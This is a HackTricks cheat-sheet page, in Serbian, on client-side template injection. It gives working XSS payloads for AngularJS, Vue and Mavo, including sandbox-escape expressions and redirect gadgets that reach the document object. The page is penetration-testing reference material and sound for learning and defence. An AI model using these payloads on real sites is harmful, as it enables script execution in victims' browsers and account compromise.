Client Side Template Injection (CSTI)
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Summary
To je kao Server Side Template Injection ali na klijentu. SSTI može omogućiti izvršavanje koda na udaljenom serveru, dok CSTI može omogućiti izvršavanje proizvoljnog JavaScript koda u pretraživaču žrtve.
Testiranje za ovu ranjivost je veoma slično kao u slučaju SSTI, interpreter očekuje šablon i izvršiće ga. Na primer, sa payload-om kao što je {{ 7-7 }}
, ako je aplikacija ranjiva videćete 0
, a ako nije, videćete original: {{ 7-7 }}
AngularJS
AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om kroz atribute poznate kao direktive, a jedna od značajnih je ng-app
. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.
U scenarijima gde se korisnički unos dinamički ubacuje u HTML telo označeno sa ng-app
, moguće je izvršiti proizvoljan JavaScript kod. To se može postići korišćenjem sintakse AngularJS-a unutar unosa. Ispod su primeri koji pokazuju kako se JavaScript kod može izvršiti:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Možete pronaći vrlo osnovni online primer ranjivosti u AngularJS na http://jsfiddle.net/2zs2yv7o/ i u Burp Suite Academy
[!CAUTION] > Angular 1.6 je uklonio sandbox tako da od ove verzije payload poput
{{constructor.constructor('alert(1)')()}}
ili<input ng-focus=$event.view.alert('XSS')>
treba da radi.
VueJS
Možete pronaći ranjivu Vue implementaciju na https://vue-client-side-template-injection-example.azu.now.sh/
Funkcionalni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
I izvorni kod ranjivog primera ovde: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Stvarno dobar post o CSTI u VUE može se naći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Kredit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Kredit: Mario Heiderich
Pogledajte više VUE payload-a na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Više payload-a u https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Lista za detekciju brute-force-a
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.